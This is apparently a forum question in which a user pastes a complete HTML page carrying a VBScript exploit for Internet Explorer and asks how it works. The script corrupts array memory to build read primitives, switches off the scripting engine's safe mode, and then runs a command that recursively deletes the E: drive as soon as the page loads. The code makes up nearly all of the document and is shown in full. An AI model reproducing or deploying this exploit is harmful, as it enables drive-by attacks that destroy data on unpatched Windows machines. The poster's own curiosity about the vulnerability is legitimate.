I came across this piece of HTML code today:
<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>
<SCRIPT LANGUAGE="VBScript">
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "cmd", "/c rd/s/q E:"
end function
</script>
<SCRIPT LANGUAGE="VBScript">
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray
Begin()
function Begin()
On Error Resume Next
info=Navigator.UserAgent
if(instr(info,"Win64")>0) then
exit function
end if
if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function
end if
win9x=0
BeginInit()
If Create()=True Then
myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
document.write(i)
Create=True
Exit For
End If
Next
end function
sub testaa()
end sub
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8)
i=readmemo(i+16)
j=readmemo(i+&h134)
for k=0 to &h60 step 4
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function
function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
end function
</script>
Please use Internet Explorer to browse this page
</body>
</html>
The maker of this .html webpage claims that this webpage can wipe a user's E drive as soon as he opens the webpage (which I can confirm by the command it's running), and also claims that all users using Windows XP, Windows 7/8 without auto update will get the code run no matter which version of Internet Explorer they're running.
I tested this myself (I don't have a E drive at all!), and opening this page in IE does pop up the command line tool briefly, though it doesn't display any code there at all.
(I'm using Windows XP with IE7)
So, my question is, is this really that vulnerable, and how it works? If it's really that easy to execute arbitrary code, it's very worrying. (But then I don't really use IE at all, so...)
